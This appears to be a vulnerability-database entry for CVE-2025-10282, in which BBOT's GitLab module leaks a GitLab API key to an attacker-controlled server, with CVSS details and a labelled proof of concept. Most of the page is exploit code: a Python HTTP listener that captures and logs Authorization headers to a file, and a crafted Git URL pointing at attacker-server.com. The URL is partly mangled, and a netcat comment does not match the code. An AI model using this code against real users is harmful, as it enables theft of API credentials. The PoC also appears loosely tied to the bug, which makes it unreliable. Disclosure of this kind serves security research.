BBOT's gitlab module could be abused to disclose a GitLab API key to an attacker controlled server with a malicious formatted git URL.
CVSS Details
CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
BBOT GitLab模块 所有受影响版本（具体版本范围请参考官方安全公告）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10282 PoC - BBOT GitLab API Key Disclosure
# The vulnerability is triggered when BBOT processes a maliciously formatted Git URL
# in its GitLab module, causing the API key to be sent to an attacker-controlled server.
# Step 1: Set up an attacker-controlled HTTP listener to capture credentials
# Using netcat to listen for incoming requests
import http.server
import socketserver
import sys
class CredentialCaptureHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# Capture the Authorization header which may contain the GitLab API key
auth_header = self.headers.get('Authorization', 'Not found')
print(f"[+] Captured request to: {self.path}")
print(f"[+] Authorization header: {auth_header}")
# Log the captured credentials
with open("captured_creds.txt", "a") as f:
f.write(f"Path: {self.path}\n")
f.write(f"Authorization: {auth_header}\n\n")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
# Step 2: Craft a malicious Git URL that redirects BBOT's GitLab module
# to send API key to attacker server
# Example malicious URL format:
# http://attacker-server.com/path?redirect=gitlab.target.com
# Or using URL with embedded credentials redirect
malicious_git_url = "http://[email protected]/group/project.git"
# Step 3: When the victim runs BBOT with this URL, the GitLab module
# will send the API key to attacker-server.com
print(f"[*] Malicious Git URL: {malicious_git_url}")
print("[*] Start listener on port 80 to capture credentials...")
# Start the capture server
PORT = 80
with socketserver.TCPServer(("", PORT), CredentialCaptureHandler) as httpd:
print(f"[+] Listening on port {PORT}...")
httpd.serve_forever()